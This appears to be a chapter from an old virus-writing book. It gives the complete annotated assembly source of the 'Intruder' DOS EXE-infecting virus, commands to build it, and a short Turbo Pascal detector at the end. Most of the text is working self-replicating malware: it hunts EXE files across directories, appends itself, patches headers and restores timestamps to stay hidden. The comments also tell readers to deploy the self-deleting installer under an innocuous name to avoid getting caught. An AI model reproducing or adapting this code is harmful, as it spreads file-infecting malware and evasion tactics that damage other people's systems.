WARNING! The INTRUDER virus replicates without any notice or clue as to where it is going. It is an extremely contagious virus which will infect your computer, and other computers, if you execute it. Only the most sophisticated computer users should even contemplate assembling the following code. IT IS PROVIDED
HERE FOR INFORMATION PURPOSES ONLY. ASSEMBLE IT AT YOUR OWN RISK!!
The Intel HEX listing for the Intruder virus is as follows:
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The assembly language listing of the Intruder virus follows:
;The Intruder Virus is an EXE file infector which can jump from directory to
;directory and disk to disk. It attaches itself to the end of a file and
;modifies the EXE file header so that it gets control first, before the host
;program. When it is done doing its job, it passes control to the host program, ;so that the host executes without a hint that the virus is there.
.SEQ ;segments must appear in sequential order
;to simulate conditions in active virus
;MGROUP GROUP HOSTSEG,HSTACK ;Host segments grouped together
;HOSTSEG program code segment. The virus gains control before this routine and
;attaches itself to another EXE file. As such, the host program for this
;installer simply tries to delete itself off of disk and terminates. That is
;worthwhile if you want to infect a system with the virus without getting
;caught. Just execute the program that infects, and it disappears without a ;trace. You might want to name the program something more innocuous, though.
HOSTSEG SEGMENT BYTE
ASSUME CS:HOSTSEG,SS:HSTACK PGMSTR DB ’INTRUDER.EXE’,0
HOST: mov ax,cs ;we want DS=CS here mov ds,ax mov dx,OFFSET PGMSTR mov ah,41H int 21H ;delete this exe file mov ah,4CH mov al,0
int 21H ;terminate normally HOSTSEG ENDS
;Host program stack segment
HSTACK SEGMENT PARA STACK
db 100H dup (?) ;100 bytes long HSTACK ENDS
;************************************************************************
;This is the virus itself
STACKSIZE EQU 100H ;size of stack for the virus
NUMRELS EQU 2 ;number of relocatables in the virus,
;these go in relocatable pointer table
;VGROUP GROUP VSEG,VSTACK ;Virus code and stack segments grouped together ;Intruder Virus code segment. This gains control first, before the host. As
;this ASM file is layed out, this program will look exactly like a simple ;program that was infected by the virus.
VSEG SEGMENT PARA
ASSUME CS:VSEG,DS:VSEG,SS:VSTACK
;data storage area comes before any code
VIRUSID DW 0C8AAH ;identifies virus
OLDDTA DD 0 ;old DTA segment and offset
DTA1 DB 2BH dup (?) ;new disk transfer area
DTA2 DB 56H dup (?) ;dta for directory finds (2 deep)
EXE_HDR DB 1CH dup (?) ;buffer for EXE file header
EXEFILE DB ’\*.EXE’,0 ;search string for an exe file
ALLFILE DB ’\*.*’,0 ;search string for any file
USEFILE DB 78 dup (?) ;area to put valid file path
LEVEL DB 0 ;depth to search directories for a file
HANDLE DW 0 ;file handle
FATTR DB 0 ;old file attribute storage area
FTIME DW 0 ;old file time stamp storage area
FDATE DW 0 ;old file date stamp storage area
FSIZE DD 0 ;file size storage area
VIDC DW 0 ;storage area to put VIRUSID from new
;host in, to see if virus already there
VCODE DB 1 ;identifies this version
;**************************************************************************
;Intruder virus main routine starts here VIRUS:
push ax mov ax,cs mov ds,ax ;set up DS=CS for the virus mov ax,es ;get PSP Seg mov WORD PTR [OLDDTA+2],ax ;set up default DTA Seg=PSP Seg call SHOULDRUN ;run only when this returns with z set jnz REL1 ;not ok to run, go execute host program call SETSR ;modify SHOULDRUN for next copy of the virus call NEW_DTA ;set up a new DTA location call FIND_FILE ;get an exe file to attack jnz FINISH ;returned nz - no valid file, exit call SAVE_ATTRIBUTE ;save the file attr’s and leave file open call INFECT ;move program code to file we found to attack call REST_ATTRIBUTE ;restore original file attr’s and close file FINISH: call RESTORE_DTA ;restore DTA to its original value at startup pop ax REL1: ;relocatable marker for host stack segment mov ax,HSTACK ;set up host program stack segment (ax=segment) cli ;interrupts off while changing stack mov ss,ax REL1A: ;marker for host stack pointer mov sp,OFFSET HSTACK mov es,WORD PTR [OLDDTA+2] ;set up ES correctly mov ds,WORD PTR [OLDDTA+2] ;and DS sti ;interrupts back on REL2: ;relocatable marker for host code segment jmp FAR PTR HOST ;begin execution of host program
;**************************************************************************
;First Level - Find a file which passes FILE_OK
;
;This routine does a complex directory search to find an EXE file in the
;current directory, one of its subdirectories, or the root directory or one ;of its subdirectories, to find a file for which FILE_OK returns with C reset.
;If you want to change the depth of the search, make sure to allocate enough
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
;since the recursive FINDBR uses a different DTA area for the search (see DOS ;functions 4EH and 4FH) on each level. This returns with Z set if a valid ;file is found.
;
FIND_FILE: mov al,’\’ ;set up current dir path in USEFILE mov BYTE PTR [USEFILE],al mov si,OFFSET USEFILE+1 xor dl,dl mov ah,47H int 21H ;get current dir, USEFILE= \dir cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root jnz FF2 ;not the root xor al,al ;make correction for root directory, mov BYTE PTR [USEFILE],al ;by setting USEFILE = ’’ FF2: mov al,2 mov [LEVEL],al ;search 2 subdirs deep call FINDBR ;attempt to locate a valid file jz FF3 ;found one - exit xor al,al ;nope - try the root directory mov BYTE PTR [USEFILE],al ;by setting USEFILE= ’’ inc al ;al=1 mov [LEVEL],al ;search one subdir deep call FINDBR ;attempt to find file FF3: ret ;exit with z set by FINDBR
;**************************************************************************
;Second Level - Find in a branch
; ;This function searches the directory specified in USEFILE for EXE files.
;after searching the specified directory, it searches subdirectories to the
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset,
;this routine exits with Z set and leaves the file and path in USEFILE
; FINDBR: call FINDEXE ;search current dir for EXE first jnc FBE3 ;found it - exit cmp [LEVEL],0 ;no-do we want to go another directory deeper?
jz FBE1 ;no-exit dec [LEVEL] ;yes-decrement LEVEL and continue mov di,OFFSET USEFILE ;’\curr_dir’ is here mov si,OFFSET ALLFILE ;’\*.*’ is here call CONCAT ;get ’\curr_dir\*.*’ in USEFILE inc di push di ;store pointer to first * call FIRSTDIR ;get first subdirectory jnz FBE ;couldn’t find it, so quit FB1: ;otherwise, check it out pop di ;strip \*.* off of USEFILE xor al,al stosb mov di,OFFSET USEFILE mov bx,OFFSET DTA2+1EH mov al,[LEVEL] mov dl,2BH ;compute correct DTA location for subdir name mul dl ;which depends on the depth we’re at in search add bx,ax ;bx points to directory name mov si,bx call CONCAT ;’\curr_dir\sub_dir’ put in USEFILE push di ;save position of first letter in sub_dir name call FINDBR ;scan the subdirectory and its subdirectories jz FBE2 ;if successful, exit call NEXTDIR ;get next subdirectory in this directory jz FB1 ;go check it if search successful FBE: ;else exit, NZ set, cleaned up inc [LEVEL] ;increment the level counter before exit pop di ;strip any path or file spec off of original xor al,al ;directory path stosb FBE1: mov al,1 ;return with NZ set or al,al ret
FBE2: pop di ;successful exit, pull this off the stack FBE3: xor al,al ;and set Z ret ;exit
;**************************************************************************
;Third Level - Part A - Find an EXE file
;
;This function searches the path in USEFILE for an EXE file which passes
;the test FILE_OK. This routine will return the full path of the EXE file
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will ;return with the c flag set. It will search a whole directory before giving up.
; FINDEXE: mov dx,OFFSET DTA1 ;set new DTA for EXE search mov ah,1AH int 21H mov di,OFFSET USEFILE mov si,OFFSET EXEFILE call CONCAT ;set up USEFILE with ’\dir\*.EXE’ push di ;save position of ’\’ before ’*.EXE’ mov dx,OFFSET USEFILE mov cx,3FH ;search first for any file mov ah,4EH int 21H NEXTEXE:
or al,al ;is DOS return OK? jnz FEC ;no - quit with C set pop di inc di stosb ;truncate ’\dir\*.EXE’ to ’\dir\’ mov di,OFFSET USEFILE mov si,OFFSET DTA1+1EH call CONCAT ;setup file name ’\dir\filename.exe’ dec di push di call FILE_OK ;yes - is this a good file to use?
jnc FENC ;yes - valid file found - exit with c reset mov ah,4FH int 21H ;do find next
jmp SHORT NEXTEXE ;and go test it for validity
FEC: ;no valid file found, return with C set pop di mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir stc ret FENC: ;valid file found, return with NC pop di ret
;**************************************************************************
;Third Level - Part B - Find a subdirectory
;
;This function searches the file path in USEFILE for subdirectories, excluding
;the subdirectory header entries. If one is found, it returns with Z set, and ;if not, it returns with NZ set.
;There are two entry points here, FIRSTDIR, which does the search first, and ;NEXTDIR, which does the search next.
; FIRSTDIR:
call GET_DTA ;put proper DTA address in dx push dx ;save it mov ah,1AH ;set DTA int 21H mov dx,OFFSET USEFILE
mov cx,10H ;search for a directory mov ah,4EH ;do search first function int 21H
NEXTD1: pop bx ;get pointer to search table (DTA) or al,al ;successful search? jnz NEXTD3 ;no, quit with NZ set test BYTE PTR [bx+15H],10H ;is this a directory?
jz NEXTDIR ;no, find another cmp BYTE PTR [bx+1EH],’.’ ;is it a subdirectory header? jne NEXTD2 ;no-valid directory, exit, setting Z flag ;else it was dir header entry, so fall through NEXTDIR: ;second entry point for search next call GET_DTA ;get proper DTA address again-may not be set up push dx mov ah,1AH ;set DTA int 21H mov ah,4FH
int 21H ;do find next
jmp SHORT NEXTD1 ;and loop to check the validity of the return
NEXTD2:
xor al,al ;successful exit, set Z flag NEXTD3: ret ;exit routine
;**************************************************************************
;Return the DTA address associated to LEVEL in dx. This is simply given by
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
;in its own DTA, since a search at a lower level occurs in the middle of the
;higher level search, and we don’t want the higher level being ruined by ;corrupted data.
; GET_DTA: mov dx,OFFSET DTA2 mov al,2BH mul [LEVEL] add dx,ax ;return with dx= proper dta offset ret
;**************************************************************************
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
;string at ES:DI. Return ES:DI pointing to the end of the first string in the ;destination (or the first character of the second string, after moved).
; CONCAT: mov al,byte ptr es:[di] ;find the end of string 1 inc di or al,al jnz CONCAT dec di ;di points to the null at the end push di ;save it to return to the caller CONCAT2: cld
lodsb ;move second string to end of first stosb or al,al jnz CONCAT2 pop di ;and restore di to point ret ;to end of string 1
;************************************************************************** ;Function to determine whether the EXE file specified in USEFILE is useable.
;if so return nc, else return c ;What makes an EXE file useable?: ; a) The signature field in the EXE header must be ’MZ’. (These
; are the first two bytes in the file.) ; b) The Overlay Number field in the EXE header must be zero.
; c) There must be room in the relocatable table for NUMRELS ; more relocatables without enlarging it.
; d) The word VIRUSID must not appear in the 2 bytes just before
; the initial CS:0000 of the test file. If it does, the virus ; is probably already in that file, so we skip it.
; FILE_OK: call GET_EXE_HEADER ;read EXE header in USEFILE into EXE_HDR jc OK_END ;error in reading the file, so quit call CHECK_SIG_OVERLAY ;is the overlay number zero?
jc OK_END ;no - exit with c set call REL_ROOM ;is there room in the relocatable table?
jc OK_END ;no - exit call IS_ID_THERE ;is id at CS:0000? OK_END: ret ;return with c flag set properly
;**************************************************************************
;Returns c if signature in the EXE header is anything but ’MZ’ or the overlay ;number is anything but zero. CHECK_SIG_OVERLAY: mov al,’M’ ;check the signature first mov ah,’Z’ cmp ax,WORD PTR [EXE_HDR] jz CSO_1 ;jump if OK stc ;else set carry and exit ret CSO_1: xor ax,ax sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0 ret ;c is set if it’s anything but 0
;************************************************************************** ;This function reads the 28 byte EXE file header for the file named in USEFILE.
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
; GET_EXE_HEADER: mov dx,OFFSET USEFILE mov ax,3D02H ;r/w access open file int 21H jc RE_RET ;error opening - quit without closing mov [HANDLE],ax ;else save file handle mov bx,ax ;handle to bx mov cx,1CH ;read 28 byte EXE file header mov dx,OFFSET EXE_HDR ;into this buffer mov ah,3FH int 21H RE_RET: ret ;return with c set properly
;**************************************************************************
;This function determines if there are at least NUMRELS openings in the
;current relocatable table in USEFILE. If there are, it returns with
;carry reset, otherwise it returns with carry set. The computation
;this routine does is to compare whether
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
;is = than 4 * NUMRELS. If it is, then there is enough room
; REL_ROOM: mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs add ax,ax add ax,ax sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables add ax,ax add ax,ax sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table cmp ax,4*NUMRELS ;enough room to put relocatables in? RR_RET: ret ;exit with carry set properly
;**************************************************************************
;This function determines whether the word at the initial CS:0000 in USEFILE ;is the same as VIRUSID in this program. If it is, it returns c set, otherwise ;it returns c reset.
;
IS_ID_THERE:
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS add ax,WORD PTR [EXE_HDR+8] ;Header size mov dx,16 mul dx mov cx,dx mov dx,ax ;cx:dx = where to look for VIRUSID in file mov bx,[HANDLE] mov ax,4200H ;set file pointer, relative to beginning int 21H mov ah,3FH mov bx,[HANDLE] mov dx,OFFSET VIDC mov cx,2 ;read 2 bytes into VIDC int 21H jc II_RET ;error-report as though ID is there already mov ax,[VIDC] cmp ax,[VIRUSID] ;is it the VIRUSID?
clc jnz II_RET ;if not, virus is not already in this file stc ;else it is probably there already II_RET: ret
;**************************************************************************
;This routine makes sure file end is at paragraph boundary, so the virus
;can be attached with a valid CS, with IP=0. Assumes file pointer is at end ;of file. SETBDY: mov al,BYTE PTR [FSIZE] and al,0FH ;see if we have a paragraph boundary jz SB_E ;all set - exit mov cx,10H ;no - write any old bytes to even it up sub cl,al ;number of bytes to write in cx mov dx,OFFSET FINAL ;set buffer up to point anywhere add WORD PTR [FSIZE],cx ;update FSIZE adc WORD PTR [FSIZE+2],0 mov bx,[HANDLE] mov ah,40H ;DOS write function int 21H SB_E: ret
;**************************************************************************
;This routine moves the virus (this program) to the end of the EXE file
;Basically, it just copies everything here to there, and then goes and
;adjusts the EXE file header and two relocatables in the program, so that
;it will work in the new environment. It also makes sure the virus starts ;on a paragraph boundary, and adds how many bytes are necessary to do that.
; INFECT:
mov cx,WORD PTR [FSIZE+2] mov dx,WORD PTR [FSIZE] mov bx,[HANDLE]
mov ax,4200H ;set file pointer, relative to start int 21H ;go to end of file call SETBDY ;lengthen to pgrph bdry if necessary mov cx,OFFSET FINAL ;last byte of code xor dx,dx ;first byte of code, DS:DX mov bx,[HANDLE] ;move virus code to end of file being mov ah,40H ;attacked, using DOS write function int 21H mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS) mov cx,WORD PTR [FSIZE+2]
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file inc bx add dx,bx mov bx,0
adc cx,bx ;cx:dx is that number mov bx,[HANDLE] mov ax,4200H ;set file pointer to 1st relocatable int 21H mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program mov bx,[HANDLE] ;from the EXE header mov cx,2 mov ah,40H ;and write it to relocatable REL1+1 int 21H mov dx,WORD PTR [FSIZE] mov cx,WORD PTR [FSIZE+2] mov bx,OFFSET REL1A ;put in correct old SP from EXE header inc bx ;at FSIZE+REL1A+1 add dx,bx mov bx,0 adc cx,bx ;cx:dx points to FSIZE+REL1A+1 mov bx,[HANDLE] mov ax,4200H ;set file ptr to place to write SP to int 21H mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected pgm mov bx,[HANDLE] ;from EXE header mov cx,2 mov ah,40H ;and write it where it belongs int 21H mov dx,WORD PTR [FSIZE] mov cx,WORD PTR [FSIZE+2] mov bx,OFFSET REL2 ;put in correct old CS:IP in program add bx,1 ;at FSIZE+REL2+1 on disk add dx,bx mov bx,0 adc cx,bx ;cx:dx points to FSIZE+REL2+1 mov bx,[HANDLE] mov ax,4200H ;set file ptr relavtive to beginning int 21H mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header mov bx,[HANDLE] mov cx,4 mov ah,40H ;and write 4 bytes to FSIZE+REL2+1 int 21H ;done writing relocatable vectors ;so now adjust the EXE header values xor cx,cx xor dx,dx mov bx,[HANDLE] mov ax,4200H ;set file pointer to start of file int 21H mov ax,WORD PTR [FSIZE] ;calculate new init CS (the virus’ CS) mov cl,4 ;given by (FSIZE/16)-HEADER SIZE shr ax,cl ;(in paragraphs) mov bx,WORD PTR [FSIZE+2] and bl,0FH mov cl,4 shl bl,cl add ah,bl sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs) mov WORD PTR [EXE_HDR+22],ax;and save as initial CS mov bx,OFFSET FINAL ;compute new initial SS add bx,10H ;using the formula mov cl,4 ;SSi=(CSi + (OFFSET FINAL+16)/16) shr bx,cl add ax,bx mov WORD PTR [EXE_HDR+14],ax ;and save it mov ax,OFFSET VIRUS ;get initial IP mov WORD PTR [EXE_HDR+20],ax ;and save it mov ax,STACKSIZE ;get initial SP mov WORD PTR [EXE_HDR+16],ax ;and save it mov dx,WORD PTR [FSIZE+2]
mov ax,WORD PTR [FSIZE] ;calculate new file size mov bx,OFFSET FINAL add ax,bx xor bx,bx
adc dx,bx ;put it in ax:dx add ax,200H ;and set up the new page count adc dx,bx ;page ct= (ax:dx+512)/512 push ax mov cl,9 shr ax,cl mov cl,7 shl dx,cl add ax,dx mov WORD PTR [EXE_HDR+4],ax ;and save it here pop ax and ax,1FFH ;now calculate last page size mov WORD PTR [EXE_HDR+2],ax ;and put it here mov ax,NUMRELS ;adjust relocatables counter add WORD PTR [EXE_HDR+6],ax mov cx,1CH ;and save data at start of file mov dx,OFFSET EXE_HDR mov bx,[HANDLE] mov ah,40H ;DOS write function int 21H mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table dec ax ;in order to calculate location of dec ax ;where to add relocatables mov bx,4 ;Location=(No in tbl-2)*4+Table Offset mul bx add ax,WORD PTR [EXE_HDR+24];table offset mov bx,0 adc dx,bx ;dx:ax=end of old table in file mov cx,dx mov dx,ax mov bx,[HANDLE] mov ax,4200H ;set file pointer to table end int 21H mov ax,WORD PTR [EXE_HDR+22];and set up 2 pointers: mov bx,OFFSET REL1 ;init CS = seg of REL1 inc bx ;offset of REL1 mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now mov ax,WORD PTR [EXE_HDR+22];init CS = seg of REL2 mov bx,OFFSET REL2 add bx,3 ;offset of REL2 mov WORD PTR [EXE_HDR+4],bx ;write it to buffer mov WORD PTR [EXE_HDR+6],ax mov cx,8 ;and then write 8 bytes of data in file mov dx,OFFSET EXE_HDR mov bx,[HANDLE] mov ah,40H ;DOS write function int 21H ret ;that’s it, infection is complete!
;************************************************************************** ;This routine determines whether the reproduction code should be executed.
;If it returns Z, the reproduction code is executed, otherwise it is not.
;Currently, it only executes if the system time variable is a multiple of
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
;executions of the program. TIMECT should be 2^n-1
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
;is run. This makes SHOULDRUN return Z for sure the first time, so it
;definitely runs when this loader program is run, but after that, the time must ;be an even multiple of TIMECT+1.
; TIMECT EQU 63 ;Determines how often to reproduce (1/64 here)
; SHOULDRUN: xor ah,ah ;zero ax to start, set z flag SR1: ret ;this gets replaced by NOP when program runs int 1AH and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks? ret ;return with z flag set if it is, else nz set ;**************************************************************************
;SETSR modifies SHOULDRUN so that the full procedure gets run
;it is redundant after the initial load SETSR: mov al,90H ;NOP code mov BYTE PTR SR1,al ;put it in place of RET above ret ;and return
;**************************************************************************
;This routine sets up the new DTA location at DTA1, and saves the location of ;the initial DTA in the variable OLDDTA. NEW_DTA: mov ah,2FH ;get current DTA in ES:BX int 21H mov WORD PTR [OLDDTA],bx ;save it here mov ax,es mov WORD PTR [OLDDTA+2],ax mov ax,cs mov es,ax ;set up ES mov dx,OFFSET DTA1 ;set new DTA offset mov ah,1AH int 21H ;and tell DOS where we want it ret
;**************************************************************************
;This routine reverses the action of NEW_DTA and restores the DTA to its ;original value. RESTORE_DTA: mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs mov ax,WORD PTR [OLDDTA+2] mov ds,ax mov ah,1AH int 21H ;and tell DOS where to put it mov ax,cs ;restore ds before exiting mov ds,ax ret
;**************************************************************************
;This routine saves the original file attribute in FATTR, the file date and
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
;file attribute to read/write, and leaves the file opened in read/write
;mode (since it has to open the file to get the date and size), with the handle ;it was opened under in HANDLE. The file path and name is in USEFILE. SAVE_ATTRIBUTE: mov ah,43H ;get file attr mov al,0 mov dx,OFFSET USEFILE int 21H mov [FATTR],cl ;save it here mov ah,43H ;now set file attr to r/w mov al,1 mov dx,OFFSET USEFILE mov cl,0 int 21H mov dx,OFFSET USEFILE mov al,2 ;now that we know it’s r/w mov ah,3DH ;we can r/w access open file int 21H mov [HANDLE],ax ;save file handle here mov ah,57H ;and get the file date and time xor al,al mov bx,[HANDLE] int 21H mov [FTIME],cx ;and save it here mov [FDATE],dx ;and here
mov ax,WORD PTR [DTA1+28] ;file size was set up here by mov WORD PTR [FSIZE+2],ax ;search routine mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
mov WORD PTR [FSIZE],ax ret ;**************************************************************************
;Restore file attribute, and date and time of the file as they were before
;it was infected. This also closes the file REST_ATTRIBUTE: mov dx,[FDATE] ;get old date and time mov cx,[FTIME] mov ah,57H ;set file date and time to old value mov al,1 mov bx,[HANDLE] int 21H mov ah,3EH mov bx,[HANDLE] ;close file int 21H mov cl,[FATTR] xor ch,ch
mov ah,43H ;Set file attr to old value mov al,1 mov dx,OFFSET USEFILE int 21H ret FINAL: ;last byte of code to be kept in virus
VSEG ENDS
;**************************************************************************
;Virus stack segment
VSTACK SEGMENT PARA STACK db STACKSIZE dup (?) VSTACK ENDS
END VIRUS ;Entry point is the virus
To compile the INTRUDER virus using MASM, just type
masm intruder; link intruder;
If you use TASM instead, just substitute TASM for MASM in the above. If you use A86, compile as follows:
a86 intruder.asm intruder.obj link intruder;
Quite simple. You end up with INTRUDER.EXE, which is an infected file.
Since the virus infects files without warning, it is essentially invisible. The following Turbo Pascal program, FINDINT, will locate the program on any disk drive. Just call it as “FINDINT D” to search the D: drive for infected files, etc.
{The program find_intruder determines which files are infected by the INTRUDER virus on a specified disk drive. It works by looking for the same ID code as the virus does when determining whether a file has already been infected. That code is located at the initial code segment, offset 0, in the EXE file. This must be located in the disk file and read, and compared with the value contained in INTRUDER} program find_intruder; {Compile with Turbo Pascal 4.0 or higher} uses dos;
const id_check :word=$C8AA; {Intruder ID code word to look for}
type header_type =record {EXE file header structure} signature :word; lp_size :word; pg_count :word; rel_tbl_entries:word; hdr_paragraphs :word; minalloc :word; maxalloc :word; init_ss :word; init_sp :word; chksum :word; init_ip :word; init_cs :word; rel_tbl_ofs :word; overlay :word; end;
var check_file :file; {File being checked} header :header_type; {Exe header data area for file being checked} id_byte :word; {Init CS:0 value from the file being checked} srchpath :string; {Current path being searched}
{The following routine checks one file for infection by opening it, reading the EXE header, calculating the location of Initial CS:0000, and reading 2 bytes from there. Then it compares those bytes with id_check. If they’re the same, then the file is infected. If the signature is not correct, then the program will also display that, so you can find out if you have any non-EXE files with the extent .EXE with it.}
procedure check_one_file(fname:string); begin assign(check_file,fname); {Set up the file with this path\name} {$I-} {I/O checking handled explicitly here} reset(check_file,1); {Open the file} if IOResult0 then {If an error, report it to the console} begin writeln(’IO error on the file ’,fname); exit; end; BlockRead(check_file,header,sizeof(header)); {Read the EXE header} if IOResult0 then begin
writeln(’IO error on the file ’,fname); exit; end; if header.signatureord(’Z’)*256+ord(’M’) then begin writeln(fname,’ is not an EXE program file!’); exit; end; Seek(check_file,16*(header.hdr_paragraphs+header.init_cs)); {Seek Init CS:0} if IOResult0 then {Don’t forget to take into account the size} begin {of header in calculating this!} writeln(’IO error on the file ’,fname); exit; end; BlockRead(check_file,id_byte,2); {Read 2 bytes at Init CS:0000} if IOResult0 then begin
writeln(’IO error on the file ’,fname); exit; end; close(check_file); {and close the file} if IOResult0 then begin writeln(’IO error on the file ’,fname); exit; end; {$I+} {if id_byte read from file = id_check, it’s infected} if id_byte=id_check then writeln(fname,’ is infected.’) end;
{The following routine checks all files in the specified path, or any of its subdirectories for infection. It will check a whole disk if the initial path is ’\’. Note that it is recursive, and if directories are nested too deep, a stack overflow error will occur.}
procedure check_all_files(path:string); var ExeFile :SearchRec; DirEntry :SearchRec; begin FindFirst(path+’\*.*’,Directory,DirEntry); while DosError=0 do begin if (DirEntry.Attr and Directory 0) and (DirEntry.Name[1]’.’) then check_all_files(path+’\’+DirEntry.Name); FindNext(DirEntry); end; FindFirst(path+’\*.EXE’,AnyFile,ExeFile); while DosError=0 do begin
check_one_file(path+’\’+ExeFile.Name); FindNext(ExeFile); end; end;
begin {main} if ParamCount=1 then srchpath:=ParamStr(1) {if drive on command line, use it} else srchpath:=’’; {otherwise take default drive} check_all_files(srchpath); {and check all files on that drive} end.
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